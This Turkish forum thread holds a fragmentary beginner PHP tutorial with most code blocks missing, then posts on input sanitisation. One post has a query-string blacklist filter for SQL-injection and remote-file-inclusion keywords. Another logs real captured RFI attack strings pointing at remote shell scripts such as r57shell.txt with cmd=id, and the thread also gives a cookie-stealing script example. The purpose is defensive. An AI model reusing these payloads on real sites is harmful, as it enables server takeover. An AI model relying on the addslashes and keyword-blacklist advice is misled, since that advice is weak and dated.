|
|
| |||
| php nedir PHP- Kodu: kısa tag olarak <? olarakta yazılabilir PHP- Kodu: nasıl yazarım nereden başlıyalım önce php ile ekrana yazmayı görelim PHP- Kodu: $degisken='degisken iceri verisi'; veya $degisken="degisken iceri verisi"; gibi tanımlanır yine üstteki kısım ' ' arasında kod var ise değişken olarak değilde metin olarak algılar " " arasında olursa değişken oolduğunu anlar echo ile değişken basmaya devam örnek PHP- Kodu: $saho çıktısı verir ama PHP- Kodu: $saho değişkenin içini yani saho değişken değeri ini bastı yapar bir püf noktası mesala PHP- Kodu: ?>[/php] <table><tr><td>... <form ..... <input ... PHP- Kodu: <form ..... <input name='saho' value='<?=$saho;?>'> <? gibi PHP- Kodu: değişkenlere geri dönersek değişkenleri uc uca ekleyerek toplayabiliriz $degisken3=$degisken2.$degisken1; gibi yan yana eklenebilir burada mesala bir çok şey yaplabilir mesala aralarına ayraç koyabilirsiniz $degisken3=$degisken2.'ayraç'.$degisken1; gibi php de metin gireceğimizde bu aralıkta . ile durdurur ' ile metin kısmını açar ' ile kapar . ile php metini bitiririz, yine ' ' - " " basması geçerlidi değişken kullanmayacaksak ' ' ile metin girişi yapıp az da olsa sayfanızın hızlı derlenmesini sağlayabilirsiniz. değişkenlerde sıkıntınız varsa ek olarak yazabilirsiniz php de ölümcül nokta if lere geldik aslında programlama nın temeli if tir aslında if herşeydir hadi layn nerden çıkardın diyenlere kapak geliyo if e yani programlamacılığa ekşin yapıyoruz önce kısa gösterimler daha sonra kapak etme mevzusuna dönecem PHP- Kodu: bunun için epey yöntem var zihnimde 3 tanesi yeterli : ) gibi yazarız 1 ara yöntem -1 PHP- Kodu: yerini değiştiremezsiniz =! yaparsanız synatx error verir : ) != gibi kullanımı söz konusu yöntem -2 PHP- Kodu: yöntem -3 PHP- Kodu: PHP- Kodu: 2 şey var 1- substr 2- include hemen yan başlık açalım onlara substr bir değerin içeriğinin sayısal olarak uzunluklarına göre alınmasını sağlanır he birde $_SERVER["REMOTE_ADDR"] var buda kişinin ip sini alır kişinin ip sini aldık mesala 85.12.98.127 gibi bir şey bunu substr ile substr($_SERVER[REMOTE_ADDR],0,2); yaparak adamın ip sini al 0 dan başla 2 tane karakterini al dedik ve 85 i elde etmiş oldu mesala tr olmayan bir ip ise if de diğer kısım çıkacak substr ın diğer kullanım yöntemleri mesala subsr($degisken,-4); en sağdan tersten 4 karakteri alır soldan başlamz yani şöyle bişi daha var substr i mesala şurada kullanırsın siteye haber ekleyeceksin makale ekleyeceksin uzun makale makalenin bir kısmını ana sayfada göstermek için substr($yazikaynagi,0,255); 255 tane al ilk 255 karakteri al yani sonra kalanları almak içinse şöyle bir yöntem substr($yazikaynagi,255,strlen($yazikaynagi)); gibi bir şekilde 255 den değişkenin uzunluğu kadar alırsın evet strlen o değişkenin uzunluğunu sayısal olarak çıktısını verir sonra geçtik nerede kaldıydık ya [IMG]file:///C:/DOCUME%7E1/Saho/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image001.gif[/IMG] heh if leri vermişiz if böyle çok basit diyosan mesala hani programlamanın temeliydi diyosan mesala phpde süper değişkenler diye bir şey var bunlar $_GET, $_POST get form la üretilir yada link verilir php sadece form dan üretilir curl cart curt la zaten suncuuya post attırma mantığı var link ile mesala index.php?bolum=saho dersen PHP- Kodu: bolum den gelen değeri $_GET["bolum"] ile aldık bu saho ya eşitse saho.php yi sayfaya dahil ettik değilse index.php yi dahil ettik mesala 3 sayfanız var saho,deli_dana,index .php adında PHP- Kodu: PHP- Kodu: PHP- Kodu: şimdi kısaca switch igösterem PHP- Kodu: include ye gelirsek include edersiniz saho mesala get bolum değeri saho.php yoksa include hata verir ama sayfayı basmaya devam eder require ile yaparsanız şöyle require"saho.php"; sayfada hata verir direk sitenin diğer kısımlarınıda basmaz aslında bu saho.php sitenin temeli ise gerekli ise kesinlikle require ile sayfa ya dahil edilmelidir ki lamerlerlerin etkilerine tepkisiz kalmamnız için birde şu var mesala aynı fonksiyon var saho.php nin içinde fonksiyon ney hemen onada gireyim PHP- Kodu: saho.php yi oldu bir yanlışlıkla 2 kez dahil ettiniz veya dinamik bir sayfa bir şekilde 2 kez dahil olabilir sayfaya kodlarınızın durum ve karmaşası ve mantığı ve algoritmasına göre 2 kez include edildiyse mesala duplicate function gibi bir hata verebilir yada duplicate definition yani 2 kez tanımlanmış bu fonksiyon gibi bir hata verebilir yada saho.php içeriği 2 kez basılır ekrana bunu engellemek için daha önce dahil edilmiş mi bu şeyler diye kontrol etmek için PHP- Kodu: PHP- Kodu: PHP- Kodu: PHP- Kodu: kafam dağıldı hemen for a geçelim mesala PHP- Kodu: PHP- Kodu: title spam yapmak için yada etiket olayları içinde olabilir bu ben 2 sinide gösterem mesala $spam=array('izle','indir','gonder'); array ney looo diyecek olursanız array dizi burasya girdiğimiz izle indir gonder tek değişkene atandı toplu işlemler yapmak için daha pratik olur bu buna bin bir türlü erişim var php de $spam[0] derseniz izle 0 . saçma gibi ama 0. değeri alıyor [1] gibi derğerli alıyor mesala for ile şöyle yaparsınız PHP- Kodu: PHP- Kodu: bunu diziler için en büyük araç olan foreach ile daha kolay basabliriz mesala PHP- Kodu: php ye devam mesala iyide ekrana bu spamı bassak elimize ne geçer şöyle bişide geçer mesala video siten var video adı $video_adi adlı bir değişkenin içinde veritabanından çekilmiş duruyo veritabanından çekmeyi de görecez anca giriyoz o az uzun kafanızı çok dağıtmıyım şimdi gelmiş değişkende duruyo kabul edelim $video_adi içinde, "baptista harika röveşata" yazıyor mesala title spam yine bu title şeyini meta keyw a da da aktarabiliriz PHP- Kodu: baptista harika röveşata izle baptista harika röveşata indir baptista harika röveşata gonder gibi çıktılar verir title de süper gider daha sonra mesala array-dizi ile ilgili shuffle($spam); yaparsanız spam da ki izle indir gonder in [0][1][2] lerin yerlerini değişir birde arrayların güzelliği var toplu işlem yapabilirsiniz mesala şu PHP- Kodu: fonksiyonlarada tekrar dönerek göstereyim mesala PHP- Kodu: daha sonra PHP- Kodu: daha yazacağım şey var karışıkta olabilir Yazar Şahabettin Akca
__________________ O bir dünya markası! Konu saho tarafından (22-06-2008 Saat 13:57:30 ) değiştirilmiştir.. |
| Sponsored Links |
| |||
| birde bunları çalıştırmanız yapabilmeniz localhostta çalıştırabilmek için 10 Dk. da Ajax Öğren | Yalnýıca 10 dk da ajax öðrenin | Makaleler-Dersler üstteki 6-7 satıra bakarak localhost u öğrenebilirsiniz tekrar yazma gereği duymadım
__________________ O bir dünya markası! |
| |||
| hazır yatmadan önce güvenlikle alakalı fonksiyonlara değineyim hafiften htmlspecialchars-htmlentities htmlentities iso-8859-9 ve latin5 yani türkçe desteklemiyor ,ent_quotes,iso-8859-9 yapsanda nafile bu yüzden sayfanız utf-8 yada latin1 falansa kullanmanız yoksa benzeri işi yapan htmlspecialchars ı kullanmanızı öneririm mesala form yaptınız PHP- Kodu: sizin bu iyineyitinizi suistimal edecek bir ton hacker-lamer bulmak mümkün onlar da sizi bulur yada... bu yüzden mesala oradan ahmet yazıp gönderebilir ama <script>....</script> <script>document.cookie</script> daha bir ton zararlı kod varyasyonları var bunları mesala direk engelleyebilirsiniz buradan html bir kod gelmesini beklemiyorsanız htmlspecialchars ile direk tüm gelen html kodlarını egale edebilirsiniz sql de synatx hatalara verecek kodlar içinde addslashes ekliyoruz bunları topluça şöyle yazalım PHP- Kodu: PHP- Kodu: mysql e gireceğiniz verilere or union vs. lere replace yapıp slashes eklemek yeterli gibi görünsede php.net mysql_real_espace_string fonksiyonunu öneriyor güvenlik sayfasında yine diğre fonksiyonlar gibi yapıp post dizisinin input namesini [] keyi ile belirtip bir birine eşitleyebiliriz yada bir değişkene atayabiliriz yada yine aynı input keye ayarlıyacaksak üstte vermiştim tekrar yazayım PHP- Kodu: birde bu foreach ı böyle inputtan gelen 15-20 veri gelirken hepsine uygulayıp çokdaha pratik olabilirsiniz diğer yöntem ise PHP- Kodu: yine sql e işleyecekseniz foreach kısmında dönerken veri PHP- Kodu: birdemesala get-posttan gelen tüm veriyi sql e işlemede slashes lemek sql den mesala fetch_array-row-assoc vs. array diziye atıyorsanız yani oradan da okurken stripslashes yaparak veriyi güvenli şekilde yazıp okuyabilirsiniz. --- PHP- Kodu: gelen tüm veriyi slashes ledik çıkan veride mesala -- PHP- Kodu:
__________________ O bir dünya markası! |
| |||
| Gerçekten Ekşın oLmuş eLLerine sağLık Saho
__________________ |
| |||
| PEAR kod standartlarına uygun yazsaydın kodları daha da güzel olurdu. Yine de güzel olmuş, eline sağlık.
__________________ Kodsuz Dizin |
| |||
| tüm yazılar bitince php nin temelini öğreneceğinize inanıyorum aklımda 1 ton yazı var daha yazarken oradan oraya habire bişiler geliyo not alıyom ama atlayacak aralıklar bulamıyom olmazsa yazdığım script lere bakam oradaki püf noktaları ve kullandığım fonk.ları açıklasam kullanım mantık amaçlarını yazsam epey bir işe yarar zaten az zaman ![]() + ben tşk ederim.
__________________ O bir dünya markası! |
| |||
| saol ascer ne alemdesin ya sende yaz 2 bişiler ![]() hazır girmişken bişi daha yazam youtube indirici getten gelen youtube video id sini indirir. PHP- Kodu: ![]() bu dosyayı indir.php diye kayıt edin indir.php?id=youtube_video_id gibi videoyu indir diye link verebilirsiniz şayet şöyle bişi varsa hostunuzda youtube video id sini http://www.youtube.com/v/NCO6y2ML7kw bu şekilde saklıyorsanız video id sine nasıl erişecem diyorsanız hemen split-explode 2 side olur split i anlatalım bunları daha önce http://www.r10.net/php/73461-php-de-...ibi-okuma.html burada vermiştim bakabilirsiniz http://www.youtube.com/v/NCO6y2ML7kw bu dosya url si $link değişkeninde diye düşünelim son video id sini almak için PHP- Kodu: söyledik link verirkende <a href='indir.php?id=<?=$video_id;?>' title='$title videosunu indir'> $title İndir</a> gibi linklendirebilirsiniz araya img falan koyup ona link verirseniz vs.vs. herşey mümkün
__________________ O bir dünya markası! |
| |||
| bilinen rfi ve union açıklarına tam anlamıyla olmasada epey bir engel olabilecek kısa bir kod bölütü Kod: if(!function_exists('stripos')) {//stripos fonk varmı yok mu diye bakıyoruz
function stripos_clone($haystack, $needle, $offset=0) {
return strpos(strtoupper($haystack), strtoupper($needle), $offset);//yoksa strips_clone u tanımladık
}
} else {
function stripos_clone($haystack, $needle, $offset=0) {
return stripos($haystack, $needle, $offset=0);
}
}
if(isset($_SERVER['QUERY_STRING'])) {//isset ile bir sorgu gelmiş mi dedik geldiyse işimize devam ediyoruz
$queryString = strtolower($_SERVER['QUERY_STRING']);//sürekli uzun yazıyı yazmamak için az kısalttık
if (stripos_clone($queryString,'%select%20') OR stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR stripos_clone($queryString,'http://') OR stripos_clone($queryString,'https://') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'union') OR stripos_clone($queryString,'concat') OR stripos_clone($queryString,'ftp://')) {
$ip = $_SERVER['REMOTE_ADDR'];
$sayfa = $queryString;
$time = time();
/* sql e verileri işlemek isterseniz buraya giriş kodları sql yapısı ise
CREATE TABLE `ban` (
`id` int(250) NOT NULL auto_increment,
`ip` varchar(250) collate latin5_bin NOT NULL default '0',
`sayfasi` varchar(250) collate latin5_bin NOT NULL default '',
`zaman` varchar(250) collate latin5_bin NOT NULL default '',
PRIMARY KEY (`id`)
) ENGINE=MyISAM ;
$sql = "INSERT INTO ban VALUES (NULL,'$ip','$sayfa', '$time')";
$query = mysql_query($sql);
*/
die('<title>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA</title><center>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA<BR><BR><img src=imajlar/bandik.gif><br><br>Yapmaya çalıştığınız işlem; <b>'.$queryString.'</b><br> Ip niz<b>; '.$ip.'</b><br><br>lamerlik sağlığa zararlıdır.</center>');//die mesajı
unset($queryString);// değişkeni bellekten kaldır
exit;//aşağısındaki tüm kodların çalışmasını die iptal etti ama yinede işimizi garantiye alıp exit; yaptık
}
} benim yakaladığım rfi ler Kod: INSERT INTO `ban` VALUES (19, '201.43.54.9', 'action=http://yem.wpc.or.kr/event_popup/2000603japan/0603japan.files/slide0013_image112.jpg?&cmd=id', '1156264412'); INSERT INTO `ban` VALUES (21, '62.94.78.208', 'l=http://84.19.178.60/~sky/dir/ex.txt?', '1158662636'); INSERT INTO `ban` VALUES (22, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857954'); INSERT INTO `ban` VALUES (23, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966'); INSERT INTO `ban` VALUES (24, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966'); INSERT INTO `ban` VALUES (25, '212.34.136.15', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858011'); INSERT INTO `ban` VALUES (26, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858023'); INSERT INTO `ban` VALUES (27, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858038'); INSERT INTO `ban` VALUES (28, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858041'); INSERT INTO `ban` VALUES (29, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858043'); INSERT INTO `ban` VALUES (30, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858045'); INSERT INTO `ban` VALUES (31, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858091'); INSERT INTO `ban` VALUES (32, '201.28.202.17', 'func=http://myspace.si/images/delete.gif??', '1159528932'); INSERT INTO `ban` VALUES (33, '87.8.117.67', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&id=13', '1161170373'); INSERT INTO `ban` VALUES (34, '87.8.117.67', 'action=view&id=http://busca.uol.com.br/uol/index.html?&cmd=id', '1161170373'); INSERT INTO `ban` VALUES (35, '87.2.182.188', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&by=a', '1163459067'); INSERT INTO `ban` VALUES (36, '194.150.108.158', 'func=http://www.inprocon-deutschland.de/images/cc.txt?', '1165604544'); INSERT INTO `ban` VALUES (37, '85.99.51.101', 'action=http://bolivar44.byethost9.com/r57shell.txt?', '1166196248'); INSERT INTO `ban` VALUES (38, '64.186.239.116', 'action=view&id=8//index2.php?_request=&_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://rds.ene.unb.br/rds/.../a/echo4?', '1182635888');
__________________ O bir dünya markası! |
![]() |
| Bookmarks |
| Seçenekler | |
| |